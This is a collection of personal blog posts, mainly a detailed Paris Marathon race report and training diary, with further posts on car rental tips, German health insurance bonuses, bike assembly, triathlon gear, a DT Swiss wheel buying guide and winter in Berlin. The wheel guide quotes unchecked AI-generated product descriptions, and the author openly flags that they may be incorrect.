My main goal was to maintain an average pace of 4'30"/km on the watch. The real/official pace reported on the certificate after the race is always a few seconds slower. So 4'30" would translate to ~4'33"/km real pace.
My secondary goal was to finish under 3h15'.
My third goal was to PR (personal record) and beat my previous time (3h27').

To be honest, I knew before starting that my main goal was a little unrealistic. I was going to set that pace on my watch and try to hold it, despite the many ups and downs of the course. The total elevation of that marathon is nearing 300 meters, so very challenging.

Profile of the course

My secondary goal had been my main goal for a while until I settled on a target pace of 4'30"/km, which then became my main goal. Anyway... This meant a 12-minute improvement over my personal record, which was 3h27'. Quite significant!

Training

I signed up for the Paris Marathon exactly a year ago, but I did not start training specifically for it until early January this year. After my first marathon in October last year, I took November off from running and slowly eased back in over the month of December.

I created a 14-week training plan using the app "Kiprun Pacer" by Decathlon, the same app as for my first marathon in Dresden. I mostly stuck to it and hardly skipped any session. I only missed a few in the last week of January since I went skiing. During that week, I also swapped intervals with a slow jog. The first week of February, I caught COVID but I did not skip any session. It's probably stupid but it did not seem to hinder my healing. 🤷 Symptoms lasted about 6 days. They were pretty mild.

The plan created by Kiprun comprised of 4 sessions a week. Most weeks looked like this: one short easy jog, one run at marathon pace, one session with intervals, and one long run. The weeks were grouped in multiple blocks:

The first week was an evaluation week, which ended with a MAS test.
Then came the ramp-up block.
Then came the MAS block, aimed at improving my max speed/MAS. It was concluded with another MAS test to assess improvement since the beginning of the training plan. Spoiler: this one turned out to be slightly slower that my first, a few weeks earlier 😅.
Then, a marathon pace-specific block. I think it was 4 weeks long.
And finally, a 3-week taper (a.k.a. sharpening).

The plan, on Kiprun Pacer

In addition to the 4 sessions per week scheduled by the app, I added a fifth session every week. A short (< 60 mins) and slow (not faster than 5'20"/km) jog, run with barefoot/minimalist shoes (Altra Escalante Racer 2), aimed at strengthening my legs and feet without risking injury.

Weekly kms until 3 weeks away from race day

So a typical week would look like:

Monday: jog, sometimes with active (i.e. faster) segments
Wednesday: marathon pace
Thursday: jog with barefoot shoes
Friday: intervals
Sunday: long run

On top of running, I was swimming on average once a week (between 1,000m and 2,000m), commuting 40 kms per week by bike to work, and would add one bike tour on Saturdays from time to time. From March onwards, I also added one or two sessions of home trainer per week (< 45 mins each session). I had pretty full weeks!

February was a very challenging month, with temperatures very often dropping below zero degrees Celsius and almost 3 weeks of snow that stayed on the ground, which made it very icy and slippery!

The track I run on, under snow

But overall, these 14 weeks went by pretty fast. I suffered absolutely no injury. My motivation remained high until the last month or so before the race, during which I "failed" a couple of sessions, which had a pretty massive impact on me. Fortunately, that did not last long, and I regained motivation during the tapering phase. All in all, I'd say this was a near-perfect preparation.

Pre-race

Carb loading

Carb loading went pretty smoothly. Like last time, (almost) no vegetables, more carbs, less fruits, and less fat from Thursday onward. Potatoes, white pasta, rice, bread, eggs, maltodextrin... that was my diet. Increased calorie intake on Thursday and Friday, (almost) back to normal on Saturday.

Travel

As the race was held in Paris, we decided to fly there instead of riding a train as we usually would do, to avoid being seated for hours. We flew in on Thursday after work and had Friday off work. We decided to go get our bib numbers on Friday so as to avoid the Saturday crowd.

Hotel

We stayed with family from Thursday until Saturday afternoon and only booked a hotel for the night from Saturday to Sunday. We booked a very nice hotel in the 8th arrondissement, only 2 kms away from the starting line. That would be perfect for warming up on Sunday morning. The surrounding area was really nice. Despite staying on the first floor, street side, the street turned out to be very quiet at night, being a narrow one-way street.

Apparently, most hotels in Paris leave one room for runners to shower after the marathon. Ours was no exception. Not only were we allowed to check out at 1pm, but we could use a shower from a ground-floor room all afternoon. This was perfect!

Friday: the expo (Run Experience)

Friday was expo day. We went there in the late afternoon. Damn, the place was HUGE. Probably the biggest expo I've ever been to. Decently crowded, a few queues of people here and there to take photos, but overall well organized. We got our bib numbers and runner's kits in no time, then we went on to enjoy the rest of the expo, which they call the "Run Experience".

Anthony Frontera and me

We saw and sometimes met a few known influencers/athletes and spent time browsing the many stands held by the sponsoring brands, such as Decathlon Kiprun, Garmin, Asics, Campus Coach, etc.

Me in front of the medal we would get as finishers, scaled up of course

We took a few obligatory souvenir photos. All in all, we spent 3.5 hours there. After that, it was time to go home and get some rest!

Saturday

I woke up after a pretty good night. I slept for about 8 hours, which was an improvement compared to the nights before. I had had trouble falling asleep in that week, because of stress building up, but luckily the second to last night before the race was pretty good. Lights were out around 23:15 on Friday and I managed to wake up just after 8 am on Saturday.

Saturday morning was the shake-out run. A 25-min run, at 5'43"/km. Nice and easy.

My Garmin was predicting a theoretical run time of 3h05'35" for a marathon, not bad. But I was going to aim for more time anyway.

After that last run, I took some time to reflect back upon the entire training plan and how it went. I realized that this time, I had suffered no injury at all. In the last few days (or last 2 weeks maybe), a slight discomfort had appeared in my left ankle, probably because of the ever-so-increased training load. I did not even feel it while running, only when resting at times. And the same for my right knee, a slight discomfort was present. I would not categorize them as pain or injury at all. The 90 kms I ran in a week just a couple of weeks earlier were probably the cause of that... But as I am writing these lines, a week after the marathon, everything is gone, no discomfort anymore!

Everything ready before bedtime

The rest of the day was spent checking in to the hotel, then seeing an old friend at a cafe and another friend for dinner, and lastly preparing everything for Sunday. Lights were out just before 23:00.

Sunday morning

My recipe for a great race day breakfast? Muesli from LIDL, soya milk, Maurten Drink Mix, (half?) a banana, and a big bite of Gatosport cake (~1/4 of the whole cake - not on the photo below).

A breakfast to run fast

After that, I got fully dressed, went to the toilet one last time, wrote where to find aid stations on my hand using a Sharpie, packed an old phone and a jacket in my backpack, and I was ready to roll!

Aid stations km points

I headed out to the bag drop-off area first. I ran most of the distance (2 kilometers) from the hotel to there. I got there in a little over 10 minutes around 7:55. My start pen (3h15) was leaving at 8:15. Upon getting there, I realized that the bag drop-off was much farther away from the Arc de Triomphe than I thought. It was like 500 meters down Avenue Foch. I started running towards it, but the street was packed, and I quickly understood I would not make it there in time for my start pen. I needed to go through security checks before entering the area to drop my bag and then would have to go back to the Arc de Triomphe, before going down the Champs Elysées to enter my pen. I decided to stop rushing and start in the 3h30 pen.

I called friends that were nearby and we met at the bag drop-off. They were in the 3h30 start pen, which was supposed to start at 8:24. They too realized that the clock was ticking, and we all started to jog towards the start pens.

15 minutes before the race, I ate a Maurten gel. Then we split up just before the start. There were porta-potties IN the pens, as well as urinals. Very convenient! I took a last piss 2 minutes before starting, one last sip of water, threw away my bottle, and boom! off we all went!

Race

The conditions were not perfect but good nonetheless. Cloudy yet no rain, no direct sunlight, 13 degrees Celsius. However, it was a bit humid, as it had rained a few hours before. And it was a little windy.

The map of the course

50 meters after starting, I remember asking myself "what am I doing here?" 😂, realizing I had 42 kms to go...

I made sure not to start too fast. My first kilometer was actually 2 seconds too slow, but I'll blame it on the big pack I was running in.

Place Vendôme, Rue de Rivoli, beautiful Le Louvre. I remember the beginning very well. At Km 5, a friend was watching from the curb. I spotted him from a distance and high-fived him. That did put a big smile on my face.

We got to La Bastille. There were thousands of spectators, it was crazy! They were shouting, clapping, waving at runners! Unbelievable atmosphere. First ascent towards Nation, another big pack of spectators, and we were finally out of Paris, in Bois de Vincennes. There, it got quiet, almost silent. Few spectators. I could hear people around me breathing, some very loudly.

I had a bit of pain at some point, around km 18, that fortunately did not last. It was under the forefoot of the right foot, because I believe my shoe was not tightened enough, laces not fastened enough. So there was a bit of room around my foot, it was a little loose, and my foot was sort of smashing the ground at times, hence the pain. But besides a tiny blister under the foot (that I noticed after the race), nothing. And I quickly forgot about that.

Km 21, half marathon reached! As always I told myself, "halfway through, let's go home now." Mentally, it got easier from there on (for a while at least 😁).

Around km 25, I noticed a girl named Sophia that had been running close to me for about 10 kms or so. Like, the exact same pace. I knew her name because a lot of spectators cheered us on using our names, as they were written on our bibs. I went on to talk to her. We realized we had the same goal, sub 3h15. We chatted a couple of minutes and decided to stick together.

Then things became harder...

The first tunnel was at km 28. Our first tunnel. 1 km long. Flat but stuffy air. I knew that one by heart, as I used to commute every day by bike through it 6 years ago, back when I was living in Paris. The first tunnel of a long list (4 or 5). The following ones, albeit shorter, were not flat. Descending then going up. As we were getting closer to the Eiffel Tower, I asked Sophia how she was doing. She said it was getting harder. I remember telling her to enjoy the scenery, because I had just noticed the Eiffel Tower. To be fair, I had stopped paying attention to my surroundings a long time ago, way too focused on my run. I completely missed Notre Dame, for instance.

As we were entering one of the last tunnels, I saw the km 30 mark. I did some quick math in my head: "we're running faster than 12 km/h, sooo... we'll be done in less than an hour!" I shared the good news with Sophia, but she did not seem to enjoy it as much as I did 😅. That was the last time I saw her... I lost her in the tunnel, as I was making my way past slower people on the steep way out of the tunnel.

Very stable heart rate until km 30

I had multiple side stitches (like 3 or 4 times throughout the race), especially in the second half of the race. Some would come and go away immediately, some would last longer. One lasted about 2 kms. That was really painful and had me slow down a bit. Emptying my lungs fully or contracting my abs like crazy would usually help and make them go away. Not sure whether those were lung-related or stomach-related.

Km 31, Pont de Bir Hakeim, that was CRAZY. Massive crowd, felt like a Tour de France stage, going up a mountain pass. So many people that the street had become very narrow. It was less than 2 meters wide, barely enough for us to run. I was running centimeters away from spectators, as I was overtaking runners. I would even sometimes touch them or their cardboard signs. Everyone shouting. INSANE. Very motivating!

In total, I ate 7 Maurten gels during the race, spaced out by 4 or 5 kms (~20 minutes). I planned for 8 but skipped one towards the end, as I did not feel any need for it and my side stitches were intensifying. However, I grabbed 1 or 2 water cups at every aid station, except at the one at km 37, where I failed to grab a cup twice. One slipped through my hand, and the other one I could not grab because of people around me - because I made it a point to never slow down for water. 🙈

Kms 34 to 40 went through the 16th arrondissement and Bois de Boulogne. It's basically a looooong climb (a sequence of flats and short climbs) with few spectators. Very demanding on the legs. A lot of people were walking or stopped on the side. Some were yelling in pain, probably because of cramps.

My splits, km by km

And finally, the last 2 kilometers. I told myself to go all in, but I couldn't, my legs were too tired. I was only able to maintain the pace. The crowd around us was growing again, as we exited Bois de Boulogne. One last massive ascent towards Trocadéro and then Place Victor Hugo. Then, we went down Avenue Hubert Germain. There were giant screens on both sides of the street, flashing green with messages like "500 meters to go!!!" Brilliant! People were slapping the fences with their hands like a Tour de France stage finish. I could not hear myself running anymore!

Last turn before the finish line

And finally, the very last turn. Km 42. 195 meters to go!!! I did put on my best face for the photo 😆. Last few meters... I raised my arms up in the air aaaaaannnd we were done!!!

Finish line

What a race!!! 3h12'42". Personal Record!

Ranking and time

Post-race

After crossing the finish line, I had to stop a few minutes to catch my breath and let my body recover. I waited about 2 minutes and then saw Sophia cross the line too. We congratulated each other, and then I made my way out. Grabbed my medal, drank plenty of water, ate loads of food, got my bag back, and I was out.

My right knee was sort of lightly swollen for 2 days afterward, and it would be painful when I'd crouch. Then it went away. Maybe the right knee is a bit weaker than the other one? Or my strides are not exactly the same on either side? As I wrote earlier in this article, I had a niggle there before the race. But besides this, ABSOLUTELY no injury! 🎉

With hindsight, I will better plan next time how to get to the bag drop-off, as this got quite stressful when I realized it was much farther away than I anticipated it, and that I would not make it in time to my start pen as a result.

But overall, I am EXTREMELY happy with my training and my race. My Garmin pace is 4'31"/km, so I missed my primary goal by 1 second but hit the other goals. I feel like I've got room for improvement, like I haven't yet reached my maximum potential.

That's a story to be continued. 🫡🏃

Rental Cars

2025-04-09T09:20:00+02:00

Every now and then I find myself struggling to find affordable rental cars online. So I thought a short article like this one could help my future self with some tips.

Companies

In my limited experience of renting cars in the USA and Europe, Hertz oftentimes has very competitive prices. In Europe only, Europcar or Rentacar (France only) are sometimes even more competitive than Hertz. I rarely ever check other companies like Sixt, as they are usually more premium companies.

It's worth noting that all rental cars companies provide roughly the same level of service. When searching for reviews on Reddit for instance, you'll find an equal number of people complaining about each of them for being "scammed" or charged for scratches or whatever. Also, each "store" is different, has different personnel, etc. So in my opinion it's pretty pointless to categorize one company as scam or another one as great, since the service you'll get will differ based on which of their stores you go to.

Discounts

Most companies have rewards based on loyalty. Hertz and Europcar will give you a 10% discount or more only for creating an account, even for your first rental.

Some companies will occasionnally send coupons over email or will reward you gradually over time as you book cars repeatedly. It's worth googling for discount codes online before renting, as some of these coupons can be found on aggregators. Here's one for Europcar.

Company deals

If your company has such deals through a portal for instance (in Germany, mitarbeiterangebote.de is a popular one), chances are that you'll find discounts for some car rental companies.

Better fares on aggregators

From time to time one might get better deals on aggregators, such as booking.com or kayak.com, as opposed to booking directly on the company website. In my experience, this happens rarely. In Germany, it's worth checking Check24 and Billiger-Mietwagen.

Varying prices across borders

Lastly, when booking at the border between two countries, if you're flexible enough, one country might have far better prices than the other, for the same company. An example is the French-Swiss border. Hertz for instance will be a lot cheaper if booked on the French side than on the Swiss side.

Healthcare Insurances In Germany

2025-03-27T00:00:00+01:00

Most health insurance companies in Germany offer the following things. I took me many years to discover them. Hopefully this will be useful to some.

They reward physical activity and preventive healthcare

Most insurances offer bonus plans, through which people get "points" for being active but also by taking preventive health actions, such as going once a year to the dentist for a check-up, getting vaccinated, following online nutrition courses, etc. All it takes is "uploading" proofs of these actions (can be as simple as filling out a form with the date of the medical appointment).

Regarding the "being active" part, some insurance can connect to fitness platforms like Garmin, sync your activities and give you points for doing X steps per day, cycling a few kilometers a week, etc. As an example, TK has a program called TK-Fit, which is part of ther bonus plan.

Once you accumulate enough points, you can either "cash them out" (get a money transfer from the insurance) or get total or partial refunds for things that are remotely health-related, such as a gym membership or a smartwatch. As an example, this is what you can get a (partial or full) refund for, from TK.

Left: TK app with Bonus plan balance. Right: website showing 2 options to redeem the points.

With TK, 1,000 euros = 10 euros "cashed out", or 20 euros as health dividends. Submit an invoice for a Garmin watch for instance, and get a 20-euro money transfer.

Here is some feedback from TK clients.

Opting out of premiums

Another way of saving money is by opting out of premiums (= options) one does not need, like homeopathy. Again, here is some feedback from TK clients. In most cases, should one still need a type of care they opted out of, they of course would get it and the insurance would pay for most of the costs The only difference is that a part of the costs would have to be paid for by the patient, as opposed to being fully covered by the insurance.

Last Three Weeks Leading To The Paris Marathon

2025-03-26T13:00:00+01:00

Here we are, final stretch. Less than 3 weeks to go now, until the Paris Marathon. I've been following a 14-week training plan using Kiprun Pacer. So far so good, no injuries, no issues, I did almost all of my planned sessions. Could not be happied! I've been running consistently 5 times a week since the beginning of the year (4 sessions from the plan + 1 bonus slow run with barefoot shoes). I have progressively increased my weekly mileage week over week, peaking at 90 kms last week, with THE long run of the plan: 32 kms last Sunday.

Mileage week over week

So...

Where do I stand today? How am I feeling? What's my mindset like? Answers below. ⬇️

To be fair, I'm pretty tired. Both mentally and physically.

Physically, I've accumulated fatigue, due to the increasingly harder sessions.

The last two weeks were grueling. These were the hardest weeks of the plan, from now on it'll only get easier, as the taper phase started. Two weeks ago, I ran 21 kms at a pace of 4'25"/km (5 secs per kilometer faster than my target marathon pace). It gave me confidence but left me a bit tired.

Since the beginning of the year, I have been going to the gym every Monday, lifting weights and working on my upper body. It's 100% useless for runners, and it does not help recover from my runs. So I'll ditch that until the race. Not to mention that any extra muscle mass in the upper body will only slow me down on race day.

Until the race, I'll keep going swimming once a week, as it does not fatigue me, and I need to keep training for my Summer triathlon. Cycling, I'll take it easy. 40 kms of commute per week, one or two short (under 45 mins) sessions of home trainer and a very optional outdoor ride on the weekend, if the sun shines and I'm not too tired. That's all. I'll keep 5 runs a week, but they will only get shorter and shorter in distance until the race. Only the intensity will sort of remain the same.

Mentally, I reached a low point last week. Things are improving since then. Weeks W-5 and W-4, on Wednesdays, I had the same sessions: 5x 4000m at target marathon pace. I partially failed them. I did not have the mental strength. My legs could run but my head could not push them hard enough. For most blocks, I was 5 to 10 seconds slower per kilometer. I explain that mostly by the fact that those sessions were very long (2 hours 15 mins), because they included a 20-min warm-up and 10-min cooldown. And they took place on a work day. Sure I was at home, working remotely. But finding the time was EXTRA tricky. And then I had to make up for it at work by working later at night. Very exhausting mentally.

Besides those two sessions, I also "failed" the intervals session in week W-4 (last week). 12x (400m at MAS speed, which is 3'27"/km + 200m recovery). I ran more than half of the blocks 10 to 20 seconds slower per kilometer. That hit me pretty bad, mentally. Again, I had the legs, not the brain for it. It was on Friday, I was just out of a demanding week at work. But the 32-km long run that followed on Sunday fixed me up! I am regainging confidence now and feeling a lot better mentally, with every passing day.

The intervals session last Friday

Anyways, this is a summary of the past few weeks. I'm doing a lot better now, my sport schedule until race day has been adjusted, I know what I'm doing (or I like to believe I know it). I'm confident! Let's go!!!

Nutrition-wise, I'll (temporarily) remove ice creams and other sweets from my diet and increase my protein intake through Whey shakers.

And today's session was a massive success!

Plan was 5x (600m pace of 3'43"/km working towards 3'38" + 200m recovery). I much prefer those shorter intervals sessions. 12 intervals last week was way too many; 5 I can do easy peasy.

I also wanted to mention that following the lifes of fellow marathon runners through the RMC runnning Youtube channel has been a delight and a big help so far. They too are training for the 2025 Paris marathon, and hearing their feedback and feelings every week was very relatable. This podcast also offers a ton of advice.

This article will hopefully serve as a reminder for my future self: don't underestimate the last few weeks before a marathon. The beginning of the training plan may feel like a walk in the park, fatigue might go unnoticed for a while, but at some point it'll show up!

Tips for Canyon Speedmax Bikes

2025-03-24T23:00:00+01:00

This article applies to most Speedmax bikes, but is based on the Canyon Speedmax CF 7 Di2.

General tips

The official Canyon cockpit mount for bike computers cannot be mounted on the Speedmax, as it needs to be screwed in two holes. The only hole present in the cockpit is for the hydration system. A bike computer mount is also already present on the hydration system. Therefore, without the hydration system installed, a generic bike computer mount can be installed on the aero bars instead:
- Time Trial/Tri Bar Mount from Garmin
- ZIPP QuickView TT Computer Mount for Garmin Edge
The small plastic part between the two screws for the bottle holder is the cable holder. It prevents the brake line from rattling inside the frame. It should be left as it is, no need to cover it.
To install a bidon holder behind the saddle, there are two options:
- The expensive official one
- The homemade 3D printed one
The wheel tightening lever can be left permanently on one of the wheels (front one is my recommendation, if it falls you'll most likely hear it). Just push hard enough until it clicks.
The bike comes with tubes installed, not tubeless.
The 4 rubber plugs: 3 should go to the back of the seat post. One is spare, it can go underneath the handlebar in the middle, there's the hole for the hydration system that can be filled. The Canyon Support said this hole does not necessarily have to be sealed though. Canyon also suggests to use the plugs for the holes of the bottle cages, if unused.
The Shimano Adjustment Gauge (made of cardboard, see photo below) for RD-D7100/R7150 RX820 is meant to set the correct distance between the rear derailleur's guide pulley and the largest cog on the cassette.
The two wedges that say "Inner Dia. 20.5-22.5" are spart parts of the DURA-ACE Dual Control Lever (ST-R9180), that go between the brakes and the handlebar. They are of no use when assembling the bike. Canyon was not able to tell me what to use them for.
Shimanoo tools TL-EW300 and TL-EW02: they are needed to connect/disconnect Di2 cables (at the cockpit/aero bars, or at the rear derailleur). TL-EW300 for EW-SD300 wires (new generation of cables), TL-EW02 for EW-SD50 wires (old generation of cables).
The T6 Torx screwdriver was not needed during assembly. It might be required to service the bike and change some parts, I don't know. Canyon's support was not more knowledgeable about it, they only mentioned "to tweak some small screws securing Di2 junction boxes or electronic shifting cable covers or other compatible screws".
The chain comes pre-greased with standard grease, no need to degrease+grease again. I asked Canyon's support about this:

Your bike should be ready to ride right out of the box, as Canyon typically preps the bike with the necessary lubricants and greases. However, it’s always a good idea to check the chain and drivetrain.

If the chain feels overly greasy or has excess lubrication on it, you can wipe it down with a clean cloth, but there should be no need to degrease and re-grease unless you want to ensure it's in perfect condition.

As long as you haven’t encountered any issues with shifting or the bike seems properly set up, you're good to go! Always double-check the brakes, tire pressure, and overall setup before riding.
The Di2 battery is located inside the down tube, it's attached to the frame through 2 screws under the down tube that should not be tightened more than 1 Nm. The battery can supposedly (I have not tried myself) but removed/accessed after removing a plastic cover that is under the bike, under the bottom bracket.
If you ever lose an o-ring (rubber seal) and can't find where it came from, it might be the ones that are positioned between the bento box and the top tube, around the two screws that link the two.

Reddit source for some of these questions.

Maximum torque recommendations

Although the max torque values if often written on the components, here is a value that is not:

The maximal torque for the 4 bolts that attach the handlebar to the Profile Design aerobars: 5 Nm max if M5 Diameter, 8 Nm if M6 Diameter (as I was told by the Canyon support)

Training For Triathlons

2025-03-01T21:33:00+01:00

2025 is the year I'll do my first half Ironman! Big year. Big ambition.

Up until now, the longest triathlon I ever participated in was a sprint-distance one in Berlin, in the last 2 years. Needless to say, I'm still a total noob about triathlon.

So I need to learn fast and train hard!

This article acts as my shopping list but also my diary, as I learn new things about triathlon. This article will serve anyone else with similar intentions. I'll keep updating this article over the next few months.

Tri bike vs road bike with aero bars

I've had aero bars on my road bike since last Summer. I bought them when I signed up for the Ironman. Initially, I was not planning on buying a tri bike. I simply wanted to adapt my road bike to a triathlon bike. Below are 3 of the best videos I found on the topic.

But now, as I am writing these lines, I am leaning towards buying a tri bike. Nothing is decided yet at this point, but I'm seriously considering it.

Gear for training

For this first half Ironman, I need to increase my weekly volume of cycling. Especially in winter, when the days are short and often rainy. I've used that excuse way too many times to remain indoors. So here is my shopping list, to bring my training to the next level:

Wahoo Kickr Core: 489.99 euros.
A tri bike: 3,999 euros. For races. And when not racing, for the home trainer. Still undecided about that...
The same cassette as the one on the tri bike: 49.99 euros. To put on the Wahoo Kickr Core.
A sweat net: 12.99 euros.
A subscription to Swift (paid) or MyWhoosh (free)

Inexpensive things you might already have at home

A yoga mat to put under the home trainer, so as to avoid noise and sweat stains on the floor
A fan
A small towel

DT Swiss wheels: buying guide

2025-03-01T01:14:00+01:00

I've had my bike for 5 years now, with the same factory wheels: a pair of Mavic Aksium. They are fairly good wheels, but they're entry-level and I've decided it was time for an upgrade.

For some reason, I've set my mind on DT Swiss. Don't ask why 😁. Also, I'm not yet ready for carbon wheels. They're pricey and they do not work well with rim brakes (which I use), especially in the wet.

I want wheels with a rim depth that is both suitable for flat terrain and mountains. In a few years, I might invest in wheels for flat/triathlon/time trial only (50mm+).

So here's my 2025 buying guide for DT Swiss wheels. Spoiler alert: I'm lazy, I've used Google Gemini a LOT, so some information might be incorrect.

Lines of wheels for road bikes

First things first, each model starts with a line name, and then contains a number. Like, "ARC 1100 DICUT".

Lower numbers typically signify higher-end wheels with premium components (like higher end hubs).

[source: Google Gemini]

Now, the lines. They are essentially three of interest to me: Aero, Performance and Endurance. The rest is for gravel, track, cross road or ebikes.

Aero (ARC/AR/A) is out of my league: they're almost all carbon (in ARC, C stands for Carbon), except the AR 1600 SPLINE and the A 1800 SPLINE. But they're both entry-level wheels, and for disc brakes. And even if I was considering the other carbon wheels for rim brakes, they are too expensive for me at this point. I don't want to spend more than 1,000 euros for the pair.

Performance (PRC/PR/P): this is the one that I'm the most interested in. Here, they're all made of aluminum, expect the "PRC 1400 SPLINE" wheelset. The 1600 and 1800 ones are considered entry-level, so all that's left of interest to me are the "PR 1400 DICUT OXiC". They come in 2 variants: 32mm rim height, or 21. I'd go with 32.

Endurance (ERC/ER/E): those are only for disc brakes. Also, they prioritize comfort, stability, and durability on long rides and are compatible with wider tires, unlike the performance line. As a result, they're usually heavier than the performance ones. Not what I'm looking for.

Additional Indicators

"C" indicates a carbon rim (like in "ARC 1100 DICUT")
"OXiC" indicates a ceramic rim braking surface, see below
"DB" indicates disc brake compatibility (like in "ARC 1100 DICUT DB")
DICUT/SPLINE indicates specific wheel technologies and spoke types, see below

OXiC

OXiC is a special ceramic coating that DT Swiss applies to the rims of some of their wheels. It's not just for looks (though it does give a cool matte black finish!) - it has some serious performance benefits:

Super Braking Power: OXiC makes rim brakes work incredibly well, even when the rims are wet. This means you get consistent and reliable stopping power in all kinds of weather.

Tough as Nails: The ceramic coating is really hard, so it resists wear and tear much better than a regular aluminum rim. This makes the wheels last longer.

Think of it like a super-durable, high-performance brake pad for your rims. It's a technology that makes DT Swiss wheels with rim brakes perform better and last longer.

You'll usually see OXiC on their higher-end aluminum wheels, like the PR 1400 DICUT OXiC series.

Do I need special brake pads for OXiC wheels?

Yes, you absolutely need special brake pads for DT Swiss wheels with the OXiC ceramic coating. Standard brake pads designed for regular aluminum rims will wear down the OXiC coating prematurely and won't provide optimal braking performance.

DT Swiss recommends using brake pads specifically designed for ceramic coated rims. These pads are made from a softer compound that's gentler on the OXiC coating while still providing excellent braking power. Using the correct brake pads is crucial for maximizing the lifespan of your OXiC wheels and ensuring safe, reliable braking.

[source: Google Gemini]

Here is some additional information from DT Swiss themselves.

SPLINE/SPLINE

SPLINE:

This refers to a system-wide approach to wheel design. It emphasizes the integration of all wheel components (rims, hubs, spokes) for optimized performance.

SPLINE wheels are designed for a broad range of cycling disciplines, prioritizing a balance of performance, reliability, and durability.

It signifies the use of DT Swiss's engineering principles and technologies across various wheel levels.

It uses standard straight pull spokes.

DICUT:

This designates DT Swiss's high-end, performance-oriented wheel line.

DICUT wheels are specifically engineered for maximum aerodynamic efficiency and performance.

They often incorporate advanced technologies, such as optimized rim profiles and high-quality hub components.

DICUT wheels use custom "Nailhead" spokes.

DICUT is generally found on the highest end wheels.

Key Differences:

Performance Focus: DICUT wheels are more focused on top-tier performance, especially aerodynamics, while SPLINE wheels aim for a broader balance of performance and reliability.

Spoke type: Dicut wheels use a specific "nail head" spoke, where spline uses standard straight pull spokes.

Target Audience: DICUT wheels are typically geared towards competitive cyclists and those seeking the highest performance, whereas SPLINE wheels cater to a wider range of riders.

In essence, you can think of SPLINE as a foundation of quality engineering, and DICUT as a specialized, high-performance subset within that foundation.

[source: Google Gemini]

My choice: PR 1400 DICUT OXiC 32

So this is it. More of a default choice for lack of options, really. I found them at a very good price online: DT Swiss PR 1400 DICUT 32 OXiC - Wheelset - Clincher - RW Double Crossed - QR - black for 799,99 € (discount of 30% - RRP was 1.149,80 €).

"QR" stands for Quick Release. "RW Double Crossed" refers to the spoke lacing pattern on the rear wheel (RW). Double Crossed means that each spoke on the rear wheel crosses over two other spokes before reaching the rim. This is a common and strong lacing pattern for rear wheels, offering a good balance of strength, stiffness, and power transfer. It's particularly useful on the drive side of the rear wheel, where the forces are higher

[source: Google Gemini]

Let's go!! 🚴🚀

My Recipe To Survive Winter In Berlin

2024-12-30T18:00:00+01:00

Making it through winter in Berlin is no easy feat. Here's how I do it 😁.

Christmas markets 🎄

Wikipedia says there are over 80 Christmas markets in Berlin. Granted, they're not all equally big nor interesting, but I'd say at least 15 of them are big, popular, and worth a visit!

Christmas Market at Berlin City Hall

My personal favorite ones:

Lucia Christmas Market at Kulturbrauerei

They usually open from late November till Christmas. A few will remain open until the first week of January. Here is a map with all of them (as of December 2024, the page currently lists 97 markets in Berlin only).

Lucia Christmas Market at Kulturbrauerei

They are mostly filled with food and drink stalls (try Glühwein 🍷), something like 80% of all stalls. The 20% remaining is decoration, handmade wooden items (famously coming from the Erzgebirge region) and clothing.

Potsdamer Platz

I googled it, apparently Germany is the country with the most Christmas markets in the world. And Gemini (Google's AI) as well as this website cite Berlin as the city with the most Christmas markets in the world. Needless to say, December is a festive and joyful month to be in Berlin.

New Year's Eve 🎆

Some like it very much, some hate it. One thing is for sure, New Year's Eve is nothing short of unique in Berlin, greatly due to the fact that the city turns into a giant firework! During the last 3 days of the year, supermarkets are allowed to sell fairly big fireworks to everyone. So on the 31th, when the sun sets until the early morning lights, you'll hear and see fireworks explosions everywhere, on every corner and every street! Take part, or flee!

A shop selling fireworks

Saunas 🧖

Ok, so past December, Christmas markets are gone. What now? Well friend, saunas!

Again, another thing germans excel at! It would be almost impossible to count the number of saunas in Berlin, since they are virtually everywhere! Hotels, gyms, dedicated wellness establishments, public swimming pools, they're everywhere!

In Winter, I'm a big sauna goer. My personal record: over 7 days, I went to saunas 5 times, in 4 different places.

Skiing and sledding ❄️

Another winter activity: skiing! Not so much doable in Berlin, but easily reachable from Berlin by train or plane. Austria, France, and Switzerland are never far away, and Germany even has a few ski resorts, Garmisch-Partenkirchen being my favorite!

Admittedly, Berlin is flat and not very high above sea level, but it still snows decent amounts every year, usually in January and February, sometimes as early as November. There are a few spots in Berlin with small "hills" where sledding is possible!

Tiergarten

Brandenburger Tor

Volkspark Friedrichshain

Cycling on Liepnitzsee while the lake is frozen

Indoor activities 🏠

Last but not least, cocooning and other indoor activities. Winter is a good time to do some minor repairs at home, build furniture, change one's interior decor, etc. Winter is also great for movies, binge watching TV series, and even clubbing! I usually pause or keep my clubbing to a minimum in summer, since I'm always outside running or cycling... but comes winter, I'm a different person 😜.

The Way I Work: 2024 edition

2024-11-28T23:20:00+01:00

I wrote the original article almost 6 years ago. This deserves a small update. Most of what's in the original article remains true. I'll only add/update some parts below.

Work TODO list

This has not changed much. Except that nowadays, I keep my TODO list in Asana instead of a simple text file, because it's backed up on a server and the UI is slightly nicer.

I still have my items sorted by priority, from most pressing to least. I've stopped using the 3 groups I used to use (to do today, this month, some day...). I just keep "one list". For coding tasks that I want to do "some day", I simply create JIRA tickets and add them to the backlog.

Personal TODO list

That one has quite changed over the years. What I've been doing lately is fairly simple:

On Sunday evenings, I plan the week to come and write my plan down on paper, usually assigning days to tasks. But only things I want to do that are not work-related nor sport-related. All my sport sessions are scheduled in my Google Calendar, on a fixed time slot, set to be recurring. I also leverage lunch breaks as much as possible when I'm working from home for my runs. So what goes in my weekly schedule? Things to book or buy, blog articles to write, repairs in the apartment to do, etc.
Anything beyond the one week to come is added to my Google Calendar. So that I can "forget about these" until they show up in my Google Calendar again. When that happens, I'll put them on my TODO list for the week to come, on paper.

By doing this, I keep a fairly short TODO list, that I know will be completed by the end of the week. Having too many items in my list was too stressful, and I would be too undisciplined about it. The less items, the higher the completion rate.

Also, I can plan things ahead in the future, then let time pass, and decide a few months later if I still want/need to do these things. Very useful.

Inbox and Thunderbird

I'll just rewrite this whole section entirely, as there are some minor updates since the original article came out, but it still is a major piece of the way I work.

Any email usually fall in one of these three categories:

Action required on your side: it could be a quick action (like replying) or a time-consuming one (like filling a form out).
Temporary/momentary information: a piece of information valid for a short amount of time, or useful for a short amount of time, that can be discarded afterwards. Like being informed that somebody is leaving the company, hearing about an event being scheduled, etc.
Important information that must be kept for a long time, or files: for instance, a new process to book business trips that you need to remember, or an amendment to a work contract.

An email inbox works essentially just like a physical mailbox. Mail people get in their mailboxes also fall into these categories: bills are actions required on your side, postcards bring news only valid temporarily, payrolls are important information, parcels are like files, etc.
